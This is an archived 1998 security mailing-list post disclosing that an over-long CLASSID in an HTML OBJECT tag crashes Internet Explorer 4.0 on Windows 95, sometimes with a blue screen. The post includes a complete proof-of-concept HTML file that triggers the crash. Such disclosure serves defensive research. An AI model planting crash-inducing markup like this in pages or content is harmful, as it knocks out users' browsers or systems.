Object tag crashes Internet Explorer 4.0

From: Georgi Guninski (guninskiat_private)
Date: Tue Jul 28 1998 - 10:10:36 PDT

Next message: pedwardat_private: "Re: netscape mail overflow(another one)"

Previous message: John D. Hardin: "A way to prevent buffer overflow exploits? (was: "Any user can"
Next in thread: Matt Rose: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Matt Rose: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Jason Garms: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Brian Behlendorf: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Brett Glass: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Adam Monaghan: "Re: Object tag crashes Internet Explorer 4.0"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
know about other versions/OS).
The following:
<OBJECT CLASSID=____More than 250 characters here____></OBJECT>
opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
or a blue screen with "Fatal exception 0E" and you need to reboot.
I don't think this is exploitable(?), but it is a bad "feature".

Georgi Guninski
guninskiat_private
http://www.geocities.com/ResearchTriangle/1711

-------------------------------------Cut here: Object.html -------
<HTML>
Trying to crash IE 4.0
<OBJECT
CLASSID=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111>
</OBJECT>
</HTML>

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

Next message: pedwardat_private: "Re: netscape mail overflow(another one)"
Previous message: John D. Hardin: "A way to prevent buffer overflow exploits? (was: "Any user can"
Next in thread: Matt Rose: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Matt Rose: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Jason Garms: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Brian Behlendorf: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Brett Glass: "Re: Object tag crashes Internet Explorer 4.0"
Reply: Adam Monaghan: "Re: Object tag crashes Internet Explorer 4.0"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:09:55 PDT